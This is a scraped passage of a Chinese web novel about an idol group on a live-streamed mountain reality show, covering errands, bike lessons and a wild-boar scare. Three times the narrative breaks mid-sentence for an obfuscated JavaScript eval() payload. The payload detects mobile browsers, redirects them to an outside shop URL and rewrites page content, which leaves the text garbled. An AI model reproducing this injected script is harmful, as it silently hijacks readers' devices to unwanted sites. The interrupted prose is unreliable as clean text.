陆笑蓉沉默了一会儿,忽然问:“邱以星跟你关系很好吗?” 孔栩不假思索地说:“当然好了。” 过了两秒钟,陆笑蓉故意问:“那你觉得他这个人怎么样?” “你说邱以星?”孔栩没注意到自己谈起邱以星时温柔的语气,“邱以星他很好啊。” 陆笑蓉好奇追问:“能不能再具体一点?好在什么地方?” 对孔栩来说,邱以星是他到目前为止的生命里出现的最特别的人,他很难去形容邱以星到底是一个什么样的人。 他认识邱以星的那天虽然算不上愉快,可他生命里许多重要的时刻都有邱以星的参与。 他们一起上学,一起练琴,一起出道,一起写歌,一起参加综艺。 他光是看见邱以星就会非常有安全感,“邱以星”三个字意味着“他不再孤单一人”。 念及此,孔栩心头一震。 陆笑蓉看着他变化莫测的脸,耸耸肩,说:“不好回答吗?” “你为什么要问这个?”孔栩回味过来,问道。 “我好奇啊,”陆笑蓉嘴角翘起一抹弧度,“我最近发现了一件有趣的事,感到好奇。” 孔栩不解:“什么事?” 陆笑蓉神秘地朝他一笑:“暂时不告诉你。” 这时夏桃杉也进了厨房,拿起菜刀就往手上切,陆笑蓉大惊失色,一把抓住她的手:“大小姐,您行行好,别妨碍我大展身手,您别添乱就是最大的帮忙了。” 陆笑蓉刚端着菜放到客厅中央的木桌上,然后孔栩看见邱以星和陈颂俩人鬼鬼祟祟勾着腰,踮着脚跑了回来。 他俩脸上覆着一层兴奋的薄汗,然后把怀里藏着的东西拿了出来,是五瓶冒着冷气的罐装可乐。 陈颂坐在椅子上一个劲地吹电扇:“你们是不知道,东边那屯着好多好东西,我们趁没人注意摸了点东西回来!” “一回生二回熟。”邱以星掰开一罐可乐,喝了一大口,然后打了个心满意足的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171228|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗝,非常不要脸地说,“有空再去拿,不拿白不拿。” 陆笑蓉嘴里说:“偷东西不太好吧……”说完也猛地灌了一大口可乐,舒爽地眯起了眼睛,“下回叫上我,我还想吃冰激凌。” 孔栩和夏桃杉:“……” 一阵风吹过,山雨骤然而至。 笔直的雨丝坠入地面,山间雾气弥漫,一股新鲜的泥土和雨水的味道扑面而来。 吃完饭,他们把床铺和行李收拾好,直接躺在床上休息,山风驱走闷热,带来一丝清凉。 雨太大,外景拍不了,任务卡得明天才发,邵元说下午没什么事,让他们自由活动。 孔栩把椅子拖到屋外的长廊上,伸出一只手去够雨水。 雨水哗啦哗啦打在他的手心,浇得他手心冰凉。 他很少出远门,之前觉得住在公司宿舍就已经离家很远了,没想到这回来到了一个地图都找不到的地方,人生真是奇妙。 雨声绵密,偶有清脆的鸟鸣,孔栩深深呼出一口气,在这个几乎与世隔绝的地方,觉得五脏六腑都得到了洗涤。 “不冷吗?”一个声音忽然开口道,孔栩没动,他知道是邱以星来了,“想什么呢?” 孔栩收回湿淋淋的手,甩了两下:“雨也不知道什么时候停。” “夏天阵雨比较多,出门带伞就行,过几分钟就停了。”邱以星淡淡地说,“手伸过来,多大了还玩水。” 孔栩“哦”了一声,这才扭头看他,只见邱以星手里拿了条干毛巾,替他把手擦干净。 忠实的摄像头将这一幕记了下来。 翌日九点,邵元正式发放任务卡。 十台摄像机开始工作。 木屋前放置了一张长桌,长桌两侧摆了几张椅子,他们乖乖坐在靠里侧的椅子上,十几岁的少男少女即使不施粉黛,也是靓丽璀璨的,身上洋溢的青春气简直盖不住。 化妆师和造型师都没有,他们基本上素颜朝天,好在陆笑蓉起床后给三个不修边幅的男生抹了点防晒,邱以星有点不乐意,她瞪圆了眼睛:“邱以星,你别动,你自己抹不匀,不然让小木鱼给你抹。” “算了,你抹吧。”邱以星只好把脸伸过去让她抹。 陆笑蓉振振有词道:“不愧是小白脸,真是嫰得能滴水了。” 孔栩凑热闹似的也想去摸一把,邱以星头一偏,猛地攥住他的手腕:“干嘛呢?” “吃块豆腐,”孔栩理直气壮,冷不防用另一只手飞快地捏了捏他的脸蛋,心情很好笑眯眯地说,“果然又软又滑。” 邱以星几乎有些面红耳赤了,那微凉的触感还留在脸上,没等他说什么,孔栩就转身去玩陆笑蓉桌上摆的那些瓶瓶罐罐,他有些目瞪口呆,很想把孔栩团在怀里,把他好好地搓扁捏圆一顿。 邵元给他们一人一张任务卡,他从善如流地说:“观众朋友们大家好,今天是《录点什么好》直播第一天,我是主持人邵元,这是我们光5的成员,来,大家来打个招呼。” 光5全体简单打过招呼后,分别打开了自己的任务卡。 【任务一:寻山音】 【要求:在一周内收集山间大自然的声音,不少于20种,每种声音时长不低于20秒。道具:一台便携式多轨录音机,两个话筒和一个伸缩杆,以及一个监听耳机。】 【奖励:一张500元超市购物卡。】 这就没了? 孔栩下意识把卡片翻了个个,邱以星低声说:“别看了,再看也看不出什么花来。” 他们脸上一派自在从容,心里却很默契地默默问候了节目组祖宗十八代。 邵元热情洋溢,脸上挂着官方的得体笑容,装模作样也瞥了一眼任务卡,像是恍然大悟地说:“哦,第一个任务出来了,一周内收集20种自然音,我们的光5是歌手,这回得干收音师的活了。” 他抬手看了眼手腕上的表,笑着问他们:“录音机会用吗?” 孔栩点点头:“会。” “那行,”邵元手一挥,“你们自己安排计划,从现在开始,主场是你们的了。” 孔栩的心不安地一跳。 65. 第 65 章 直播间已经有小十万人观看,打赏功能关闭,只有无数文字弹幕划过。 他们的一举一动都在观众的注视之下。 “真要做任务?我指望他们玩游戏呢,搞这么辛苦干什么?” “节目组是不是疯了?又是做饭又是下山购买物资,这一来一回天都黑了,邵元小时候学过分身术是吧?” “老天,我们蓉蓉真的很会做饭,给孩子约一个厨艺大比拼的参赛名额。” “哈哈哈哈哈哈来数数陈颂翻多少白眼了!” “邱以星真不会骑车啊?小木鱼把腿蹬得都要冒火星子了。” “陈颂爬树那姿势一看就是老手。” “靠靠靠靠掉水里了!!!快他妈捞人啊!!!” 屏幕前的朱伦的心跳到了嗓子眼,陈颂不慎落水了。 节目组的人反应迅速,扑通一声跳进水塘里,抬着陈颂下巴给他拖到了岸上。 陈颂呛了两口水,好在他落水之前把收音话筒扔到了地上。 工作人员安慰了他两句,问他要不要紧,陈颂抹了把脸上的水,摇了摇头,把地上的话筒捡了起来。 夏桃杉吓得魂飞魄散,陈颂对她笑了笑:“没事,我会游泳,没淹着。” “你那是游泳吗?”夏桃杉拿了条干毛巾,递给他擦脸,“你是跳水!” 陈颂甩了甩头发,像狗似的把水洒夏桃杉一脸,没心没肺地继续笑:“我有天赋吧?” 夏桃杉不想搭理他。 两人检查了一下,刚刚录的内容没有损坏,邵元便让他们提前收工,回小屋休息。 他们几人兵分三路,陆笑蓉留在木屋,陈颂和夏桃杉出去收音,孔栩与邱以星下山采购物资。 孔栩这边出了点状况,距离他们出发已经半个小时,他和邱以星兜兜转转走了半天,竟然还没下山。 观看直播的粉丝替他们着急:怎么回事?他们是迷路了吗?再不出发可就晚了。 再耽误下去,得等到天黑才能回来了。 孔栩戴着顶白色鸭舌帽,不疾不徐地跟在邱以星身后,还有四个摄影师陪同,与他们保持着一定的距离。 邱以星把手搭在额前挡太阳,眯眼四处打量,对孔栩说:“我们再找找。” 孔栩点点头,从口袋里掏出陆笑蓉给他写的小纸条:亲爱的小木鱼,要买米买油,除此外还想吃寿司、芝士蛋糕、莲蓉酥(没有的话,榴莲酥也可以)、小笼包,橙汁和葡萄汁,其余随意。 邱以星凑过来看了一眼:“她要开超市啊?” 孔栩哭笑不得地收起纸条,不当家不知柴米贵,他现在还没动身已经感到为难了。 “小木鱼,”邱以星走在前头,看见了什么,猛地回头朝孔栩招手,“这边,找到了!” 他指着前方一道平直宽阔的路口,两边是随风起伏的不知名野花和杂草,幽深的绿色高树将道路严严实实地遮盖,也吹起他额前的碎发。 路口停着五辆翠绿色的与周围环境几乎融为一体的单车,孔栩眼睛一亮,脱口而出:“我就知道节目组还有点儿良心!” 节目组:“……” 五辆崭新的单车,应该是根据他们五个人提前安排好的。 孔栩按着坐垫往下压了压,车胎气很足,他兴奋地对邱以星说:“这下好办了,两个轮子比两条腿省力多了。” 这是要骑车?邱以星的眼中顿时失去光彩,欲言又止地看着孔栩。 孔栩疑惑:“嗯,怎么了?” 邱以星的声音像蚊子哼:“……我不会骑车。” 孔栩一脸懵,没听清楚似的:“你说什么?” 邱以星重复说:“我不会骑自行车。” 孔栩还是不解,觉得邱以星在逗他玩,他笑着问:“那你管开学骑过来的那玩意叫什么?” 邱以星说:“那是我哥的。我不会骑。” 孔栩便随口接了一句:“难不成开学那几天是你哥替你来的吧?” 邱以星:“……” 孔栩推了辆车,一腿跨上去,朝邱以星抬了抬下巴:“上来,我载你。” 邱以星犹豫:“我很重。” “你是在小看我?”孔栩催促,“快点,下山的路不费力。” 邱以星便坐上了孔栩的后座,他两条长腿直接落在地面上,孔栩踩着脚踏摇摇晃晃地站起来,骑着自行车往山下俯冲。 山路飘着一连串零散的笑声,摄影师没修炼出一边骑车一边摄影的技术,往后招了招手,让偷偷跟在后面的汽车赶紧过来,忙不迭坐了进去。 他们的背影洒着一块块细碎而又闪耀的光斑,穿行而过的动静惊起成群的鸟雀扑飞至碧蓝天空。 下山的路一路畅通无阻,他们根据路线图赶往最近的超市。 这附近太荒凉了,打眼望去都是四五米的高树,没有任何稍微像样的建筑物,路边只有一个类似中转站的小型超市,它孤零零的横亘在路边,稍不留神就会将它错过。 孔栩把车停在路口,掀开透明塑料门帘走进去,然后他俩不由得一愣,心顿时凉了大半截。 这压根称不上“超市”,顶多是个小卖部,总共只有五排货架,一眼看得到头。 孔栩拿起一袋饼干扫了眼日期,已经过期半个多月了。 摄影师举着机器在狭小的空间里几乎寸步难移,孔栩把货架上的货物都扒拉了一通,别说是新鲜果蔬,就连大米都没有,他扭头找邱以星,难以置信地对他说:“不会就是这吧?” 邱以星默不作声地走向柜台,坐在柜台里的是个四五岁的小女孩,梳着羊角辫,正在啃着一颗大苹果,大概是门牙没长齐,果汁顺着嘴角往下漏。 他问:“小朋友,只有你一个人吗?” 小女孩口齿不清地说:“啊啊啊啊啊。” 心可真大,让这么大的小孩一个人看店。 孔栩无奈极了,跟邱以星商量再去别的地方转转,他们肯定不能就这么空着手回去。 他这么想着,小女孩的苹果被她不小心一挤,在半空划了个完美抛物线,孔栩下意识伸手,苹果稳稳当当落在他的手掌心。 小女孩眼睛一瞪,没明白发生了什么,只知道苹果被人抢走了,扁扁嘴,似乎是要大哭。 “嘘,别哭,还你。”孔栩把苹果递给她,小女孩把头一撇,完全不买账,用力吸吸鼻子,蓄势待发,吼出一声尖锐的哭嚎。 孔栩没带过这么不讲理的小孩,一时间不知如何是好,邱以星将他往后一拉,眼疾手快从货架上拿了什么东西,果断撕开包装袋,往小女孩嘴里一塞。 小女孩眨了眨湿漉漉的大眼睛,甜丝丝的味道将她的不愉快冲散,她冲邱以星眉开眼笑,用黏糊糊的小手一把抓住了邱以星的手,另一只手拿出嘴里那根满是口水的棒棒糖,朝邱以星递过去,意思是分她一口。 “你自己吃吧。”邱以星摇摇头,又问,“你家里人在吗?” 小女孩吧唧吧唧吃棒棒糖,小手朝旁边一指,他们的视线顺着她手指的方向看过去。 一条大黄狗正懒懒翘着尾巴,舔着一块发白的骨头。 狗太瘦了,骨头上没有一丝肉,它伸着舌头,执着地舔舐着最后零星的油水。 邱以星伸手想要摸,孔栩拉住他:“别摸,被咬了还得打疫苗。” 大黄狗掀起眼皮,慢吞吞支起前肢,似乎是想起了自己的职责,努力龇起牙,对着陌生人吠了两声。 小女孩“啊啊”了两声,狗立即停止叫嚷,朝小主人热情地晃着尾巴。 这时门帘又被掀开,走进来一个穿着蓝色汗衫的中年男人。他脸上的皮皱得很厉害,看不出具体的年纪,两手戴着沾满灰尘的手套,走路还有一点跛。见到店里忽然来了几个陌生打扮的人,顿时警惕起来:“你们来干什么?” 虽然普通话听得别扭,但孔栩至少能听懂,他忙回答说:“我们是来采购物资的。” 中年人有些不相信:“来这里采购?你来错地方了,这店我打算关了。” “关店?暂时的吗?” 中年人叹了口气,无奈地摆了摆手:“不开了,以后都不开了。” 小女孩从凳子上跳下来,中年人弯腰抱起小女孩,孔栩似乎听见小女孩叫他“爸爸”。 大黄狗亲亲热热地绕着主人的腿,尾巴使劲地摇。 孔栩与邱以星对视一眼,他轻声问中年人:“我能问问什么原因吗?” 中年人拿起手边的灰色毛巾,擦了擦脸上的汗水,无奈说:“生意不好做啊,东西卖不出去,别的还好,新鲜水果蔬菜只能烂在手里,小孩要念幼儿园,我想带着孩子去外地打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178156|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工。” 这地方太过贫穷,人对物质的需求极低,贵的卖不出去,便宜的没得赚,所以这些货物不停地过期,不停地被退回去。 中年人看着这些吃饱穿暖,完全不知愁的年轻人们,内心生出愤怒,不耐烦地偏过脸:“你们走吧,别耽误我做事。” 孔栩急中生智,说道:“老板,您稍等,我在做一档节目,需要在山里生活一个月,您看这些摄像机,正拍着呢。” 这人一定有对外进货的渠道,只要搭上这条线就好办了。 中年人嫌他碍事,拿着扫帚开始赶人,大黄狗见主人给它撑腰,得了势一样冲他们狂吠。 孔栩继续说:“我们今天的任务是出来采买生活物资,我们人生地不熟的,您能不能帮个忙,带我们去您之前进货的地方?我们不会让您白忙活的。还有,我们这是直播,还能免费帮您小店打广告。老板,看我们节目的人少说也有好几万,这些人可都知道您在这开的店啦。” “你们很有来头吗?”中年人犹疑地看着孔栩和邱以星,两个男孩子高大而英俊,说话语调好听,像是在唱歌一样,彬彬有礼,一点也不像他们镇上那些大老粗,一言不合就动手。 最有说服力的是那四个专业级别的摄像机,一看就价格不菲,不是他能买得起的东西。 他顿了顿,犹豫地问道:“那你们能给多少钱?” 孔栩瞥了眼摄像头,凑到中年人耳边,小声说了个数字。 中年人皱眉想了片刻:“你们真没骗我?” 孔栩:“我对着镜头发誓。” 中年人一拍大腿,爽快道:“行,我带你们去!” 中年人名叫张军,他开着辆破旧电动三轮车,载着两个自称是歌手的小孩,往镇子外疾驰而去。 邱以星和孔栩蹲在三轮车后车厢,一路颠簸,颠得他们头昏脑涨。 邱以星见节目组的车跟他们有了一些距离,便朝他招了招手,低声问他:“你刚刚说什么?我们只有一百块的经费,你能给他多少?” 孔栩神色异常淡定:“不怕,桥到船头自然直。” 邱以星见他这么笃定,更加奇怪了,眯着眼睛,瞅了孔栩半晌,声音越发低沉:“小木鱼,你是不是背着我们在干什么坏事?” “我没有,”孔栩趴在他耳边低声说,“过年的时候,项姐不是给我们发了个红包吗?” 邱以星:“没被搜出来?” “没,”孔栩得意洋洋,“我是不是很聪明。” 邱以星也笑了,揉揉他的脑袋:“聪明。” 虽然违背了节目规则,不过规则是死的人是活的,总不能白瞎一天什么事都没做成吧。 他们跟张军随便聊了聊,得知张军的妻子产后大出血,月子里没调理好,小孩两岁时就生病去世了。他身体残疾,找不到合适的工作,每个月靠低保生活,勉强能养活一个孩子。 只是小孩长大了,需要上学,学费虽然减免,但吃穿用度都要钱,张军甚至笑着说了句:“我之前还想过,要不去卖个肾……” 孔栩和邱以星对视一眼,心里都闷闷的。 一个小时后,他们便来到了镇外一家大型超市,外面的繁华与镇里的闭塞构成了截然不同的两个世界。他们采购好必需品后,张军开着三轮车顺便将他们的货一齐送到了半山腰的山间木屋。 张军不知道山腰什么时候建了座像小别墅一样漂亮的木屋,新奇地四处张望,孔栩把他拉到一边,跟他商量说:“老板,我们这些东西也吃不了多久,能拜托您隔两天给我们送一次货吗?价格好说。” 张军忙不迭答应。 一方面他们不用下山就解决了每天的食物需求,另一方面邵元也无法阻止别人主动给他们送吃的,虽然他很纳闷,这一百块怎么这么经花。 等他们回来之后,陈颂和夏桃杉才狼狈地一瘸一拐,互相搀扶着走进来。 陈颂身上沾着许多杂草,衣服像是被水泡过,皱巴巴的。夏桃杉也没好到哪里去,脸上北稍门锋利的东西割出一道血痕,工作人员跟在他们身后,一个个脚步虚浮踉跄,面如土色。 “我的妈呀,你们这是怎么了?”陆笑蓉花容失色,大叫一声,扶着他们赶紧坐下。 “别提了,”陈颂摆了摆手,“我和桃子在半路遇到了一只野猪。” 66. 第 66 章 他们正往回走的时候,路上突然冲出来一只膘肥体壮的大野猪,它嚎叫一声,直直朝人群冲过来。 它大概更爱细皮嫩肉的类型,一下瞅准陈颂和夏桃杉,场面一度乱成一锅粥。 摄影师扛着机器一时间忘了帮忙,随行的工作人员大呼小叫,镜头里的两人像是两只猴子慌不择路地在树丛里逃窜,最后野猪追到一半,突然跳进一边的草丛里,摇着尾巴走了。 观看直播的人数持续激增,都在破口大骂节目组工作不到位,邵元紧急出来道歉,端正态度,并保证以后一定会让安全员随行,这才稍稍平息了部分粉丝们的愤怒。 他们几个不能玩手机,闲来无事就写暑假作业或者写歌,对外界发生的事一无所知。 晚上吃完饭,他们拖着屋内的凉席到木屋外面的空地,肩并肩躺在上面看星星,山里的星星每一颗都极大极亮,陈颂郁闷地说:“今天就录了四条,还有一条不能用,录音机差点让野猪给叼走,真是太倒霉了。” 夏桃杉心有余悸:“还惦记着录音,小命没丢就算好的了。” 孔栩跃跃欲试:“明天你们歇着,让我去。” “万一再遇到野猪呢?”邱以星偏过头问他。 孔栩眼睛亮晶晶的:“正好抓一只,我还没吃过烤野猪。” “我也没有,”陆笑蓉附和,津津有味地说,“我记得这附近有一种草可以做香料,野猪烤得滋滋冒油再撒一把香料……” 众人齐齐吞口水。 工作人员连忙小声提醒:“不可以的啊,野猪是保护动物。” 孔栩一愣,大为遗憾地说:“那好吧。” 邱以星笑出声:“下山了请你烧烤,喜欢什么肉就烤什么肉。” 陆笑蓉在一旁凑热闹:“就请小木鱼啊?” 邱以星:“都请都请。” 第二天孔栩和邱以星出门录音,因为陈颂的经历,他们很有计划地背了个包。 装了两条干毛巾,一瓶驱蚊水,一把遮阳伞,一个装满了冰水的保温杯,零食若干和一个急救包,还从邵元那要来一个指南针,和一把巴掌大的小刀。 陈颂满意点头:“这下应该准备齐全了。” 孔栩:“请问,这个袖珍小刀,是打算给野猪修指甲?” 陈颂:“……” 邱以星:“要不把陆笑蓉切菜的那把刀带上?” 陆笑蓉怒不可遏:“厨房也就一把刀!” 两人离开木屋,他们特意换了另一条路,以防再碰上野猪。 没想好要录什么,两人走马观花慢吞吞地在路边走,一边走一边想,这是邱以星忽然问:“睡前故事我听完了,什么时候录新的给我?” 他捡了一根树枝当手杖,步态优雅,像个绅士。 孔栩惊讶:“你都听完了?” 邱以星点点头。 孔栩关切地看着他:“你为什么总是睡不好?要不要去看看医生?” “不要紧,老毛病。” “不行,老毛病更要注意,”孔栩一本正经地说,“我本来以为你是因为行程太紧太累导致的睡不好,你有什么心事么?” 邱以星一顿,笑着说:“我能有什么心事?” 孔栩:“这可没准呢,蓉蓉说你最近不对劲。” 邱以星:“……哪不对?” “她没告诉我,”孔栩说,“我觉得蓉蓉最近对你挺上心的。” 邱以星不太清楚,摇头说:“有吗?” 孔栩飞快地扭头看了一眼跟在后面的摄影师,低声在邱以星耳边说:“你有什么事一定要第一个告诉我,我可不想从别人那里知道。” 邱以星深深地看了他一眼:“你不会想知道的。” “为什么?”孔栩问。 “没有为什么。”邱以星步子迈大,立即超过了孔栩,大风长驱直入地吹过来,两侧半人高的草丛倒伏,孔栩的长衣长裤被吹得鼓起风,他感到舒服极了。 孔栩叫住邱以星:“就录这里的风声。” 两人拿出录音设备,原地靠着一棵大树坐下,可他们刚坐,风就停了。 孔栩便说等一等,风总会来的。 于是两人耐心地等,等着等着邱以星靠在孔栩的肩头睡着了,孔栩没吵醒他,自己一个人拽着腿边的野草编东西,他认认真真地编出一个“四不像”,欣赏了几秒飞快扔了,重新开始编。 风果真又来了,孔栩停下了手中的动作,草木发出沙沙的声音,不同的树叶碰撞在一起发出和谐的交响,万物都被风笼罩其中,他闭上眼睛,感觉自己即将化身为风的一部分,变得透明,变得轻盈。 过了好一会儿,风止住了,邱以星睁开了眼睛,他把孔栩编的草捡回来,问他:“这个像老鼠尸体的东西是什么?” 孔栩:“……” 他想了想,还是不能忍,对着镜头说:“你们看,邱以星平时就是这么对我的,等下了山记得给我报仇。” 邱以星无奈微笑:“我教你编吧。” 孔栩的恼怒被震惊取代:“你会编这个?” 邱以星灵巧的两手就地取材,孔栩都没看清他是怎么动的,他就将一只活灵活现的绿色小鸟编了出来,小鸟头上还有一簇呆毛,憨态可掬,十分可爱。 “你来真的?”孔栩捧着“小鸟”,兴致勃勃地追问,“你还会编什么?” 邱以星又给他编了一只蜻蜓,蜻蜓张开双翼,仿佛下一秒就在从他指尖飞走。 孔栩张大了嘴巴,完全没料到邱以星竟然还有这一手:“你什么时候学的?” “小时候,我奶奶教我的,”邱以星站起身,拍拍屁股,拉着孔栩一起起来,“走吧。” 孔栩拿着小鸟和蜻蜓,在镜头前得意地晃来晃去,对着观众说:“刚刚说给我报仇的话听听就算了,邱以星这个人还是不错的。” 他追着邱以星的背影,喊他说:“邱以星,邱以星!” 邱以星懒洋洋地回过头:“干什么?” 孔栩说:“你送了我这个,我教你骑车!” 邱以星脚步一顿。 孔栩继续说:“那边有一条平坦的路,我们可以顺着这条路慢慢骑,可以一路骑回小木屋。” 邱以星没动,孔栩仔细看他脸上的表情:“邱以星?” 他从来不会拒绝孔栩的要求,于是邱以星说:“好。” 邱以星幼年在乡间长大,自行车也属于稀罕物品,没多少小朋友拥有,后来回到城市,他急着追赶邱以睿的步伐,没顾得上学骑车,等邱以睿炫耀自己的第一辆山地车时,他甚至叫不出这种漂亮车型的名字。 “你像我这样,坐在车座上,”孔栩给他示范,“两只手把住车把,你腿这么长,如果觉得要摔,立即踩地上保持平衡,记住了没?” 邱以星:“我试试。” 孔栩站在一边看他学骑车。 他亲眼见过邱以星骑过车,骑车和游泳一样是程序性记忆,一旦学会就会变成身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183918|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的本能,很难再忘记,邱以星到底是什么样的大脑,说忘记就忘记了? 邱以星跨坐在车座上,他摇摇摆摆地抓住车把,一只脚踩着脚蹬,手脚很不协调,像是重新安装上去似的,还没跟身体彻底熟悉。 孔栩比划说:“你动一下啊,往前骑。” 于是邱以星一脚用力往下蹬,车跟中邪了似的,突然间一扭,邱以星连人带车栽倒在地上。 “邱以星!”孔栩大惊失色,忙过去把车扶起来,邱以星的腿被压了一下,他给邱以星掸身上的灰,满是担心地问,“你真不会骑啊?腿有没有事?” “没事,”邱以星不好意思地挠挠鼻尖,摔了就摔了,还当着这么多人的面,他非得把面子挣回来,“接着骑。” 这回孔栩不再那么掉以轻心,而是非常耐心地扶着后座,让邱以星先找到平衡感,邱以星这辈子第一次亲身经历骑车是什么滋味,新奇地往前骑了好几米,孔栩一直没松手,跟在他后面。 “小木鱼,”邱以星着急地叫孔栩,不敢回头,“你松手了吗?” “没呢,”孔栩的声音传来,“你继续骑,别停。” 邱以星放心大胆地又往前骑了好几米,又问:“小木鱼?” 孔栩笑着说:“我在呢,你继续骑啊。” 一直到邱以星骑出很远的距离,孔栩才一路小跑追过去:“邱以星,我松开啦,你会骑车了!是不是很简单?” 邱以星一听,猛地按住刹车,一脚忙撑在地上,回头找孔栩,孔栩笑容灿烂得要命,他瞬间没了脾气:“你怎么不早点告诉我?” “告诉你,你就会紧张了,”孔栩拍拍他的肩膀,“再练练吧,熟能生巧,以后可不要忘记了。” 他们在路上玩了许久,两人骑着车在空无一人的路上互相追逐,邱以星突然觉得骑车竟然是这样有趣的事,难怪邱以睿成天骑他那辆山地车在整个城市里跑来跑去。 想到邱以睿,邱以星抬头看了一眼不远处,那里有一个白色的影子,正沉默不语地看着他。 从他生日那天,家里差点发生火灾开始,他身边就多出了这样一个影子。 他看不清影子长什么样,不管他做什么,影子始终跟着他,他吃饭睡觉甚至洗澡的时候,别人看不见,于是邱以星渐渐地接受了它的存在。 “你在看什么?”孔栩额上出了一层细汗,脸颊红红的,沿着邱以星的视线望过去。 “没什么。”邱以星再度使劲蹬起车,山间两个少年的身影绕过一片野花丛和茂密的树林,一直往更深的地方骑去。 他们都忽略了山间变化多端的气候,不多时,头顶聚拢了一大片乌云。 一道极亮的白光闪过,紧接着震耳欲聋的雷声轰隆传来。 刷啦一声,暴雨如注,雨点像是小石子一样打在身上,几乎有了痛感。 “小木鱼,回去了,别把录音机淋湿了。”邱以星提醒孔栩。 “好。”孔栩一边答一边魔怔地想,这声音听起来还挺不错的,如果能录下来就好了。 “走吧,雨大了路面会很滑,”邱以星猜到孔栩心中所想,“不安全,回去吧。” “哦。”孔栩只好依依不舍地掉头。 他们两人一路疾驰,摄影师跟在后面狂奔,雨天信号时断时续,画面又卡又凌乱。 飞快划过的弹幕里有人在抱怨,有人在担忧,又过了好几分钟,等信号稳定之后,他们发现,镜头里的两个人不知什么时候,消失了。 67. 第 67 章 孔栩浑身都被雨水淋湿了,好在背包防水,令他心下稍安。 骑了一会儿,他发现周围安静得出奇,好像整个世界只剩下落雨和他喘息的声音。 他猛地按住刹车,扭头大喊:“邱以星!” 邱以星本来紧紧地跟在他身后,可此刻他身后空无一人,孔栩的心骤然间提了起来。 他又喊了两声,都没得到回应。 孔栩想也不想,火速掉头去找邱以星。 附近的山路泥泞难行,车轮里卡着泥巴,骑起来十分费力,他索性把自行车抛在路边,一边往回走,一边喊邱以星。 可喊了半天都没有回音。 这时雨渐渐小了,他站在一个岔口处,怀疑就是在这里和邱以星走失,他抹了把脸上的雨水,艰难地在泥水里深一脚浅一脚地走着。 可是哪儿有邱以星的影子呢? 孔栩忽然间有点想哭,要是他骑慢点就好了,邱以星就不会跟丢,他怎么就那么能,非要教邱以星骑车,会骑车了就跑那么快! 远处雾蒙蒙的,什么都看不真切。 他又往前走了大概几百米,脚下突然一滑,他连忙抱住旁边的大树,稳住身形,好险没栽成一个泥人——他刚松口气,抬眼就看见前方出现了一只……不,一群野猪。 孔栩并没有太过惊慌失措,他屏住呼吸,很轻地蹲下身,往后退了两步,随后打开背包,将那把小刀紧紧捏在了手里。 野猪是群居生物,它们的老巢大概在这附近,陈颂和夏桃杉遇到的那只可能由于某些原因落单——孔栩目不转睛地盯着它们,他后悔不迭地想,还是应该把厨房的菜刀带过来的。 眼看着野猪离他越来越近,孔栩的心也跳得越来越快,他握紧小刀,瞅准了野猪身上脆弱的地方,等它再靠近一点就主动出击。 下一秒,孔栩手里的刀被突如其来的一只手按住了,孔栩整个人一抖,寒毛倒竖,差点惊叫出声,他扭头一看,竟然是邱以星! “你——”邱以星忙捂住孔栩的嘴,冲他摇摇头。 邱以星手上都是泥,已经快干了,结了一块一块的泥痂,他抓住脚边的一块大石头,往那只最肥最大的野猪身上扔过去。 那只头领猪耸然一惊,原地呆愣一秒,随即扭身拔腿就跑,它的那群七大姑八大姨闻声而逃,顷刻间就没有了踪影。 孔栩二话不说,站起身,把邱以星从地上薅起来,劫后余生与失而复得两种复杂感受激得他身上一阵冷一阵热,他劈头盖脸地问邱以星:“你跑哪儿去了啊,怎么半路不见了?你的车呢?你摔了吗怎么身上这么多泥?有没有哪里受伤?” 末了他红着眼眶补了一句:“我知道我有多担心吗?” 孔栩知道这不能都怪邱以星,可他不受控制地感到恐惧,万一邱以星在山中迷失,找不到出路……他要怎么办? “没摔,”邱以星笑笑,“我意识到走错路,就回来找你,谁知道路太滑了,我不敢骑太快,只好推着走,不小心踩到一个坑里,拔了半天才把脚拔出来。” 孔栩低头一看,邱以星果然只有一只脚上穿着鞋,另只脚只剩了看不出原本形状可怜兮兮的袜子。 “你鞋呢?” “太脏了,丢了。” 他可能踩到了什么尖锐的物体,脚上渗出一丝鲜红的血迹,孔栩揪心地看了一眼,直接把自己右脚上的鞋脱下来:“你穿我的。” 邱以星拒绝:“那你怎么走?我真没事,一点小伤而已。” “把嘴闭上!”孔栩吼他,吼完把他拉到一处稍微平坦的地方,拿出急救包,脱掉他的袜子,用水给他把手和脚上的污泥冲洗干净,毛巾擦干后,在受伤的地方涂了消毒药水,他又问,“疼不疼?” 邱以星:“一点也不疼。” 孔栩垂着头,忽然一颗很大的眼泪从他眼里掉出来,砸在邱以星的手背上。 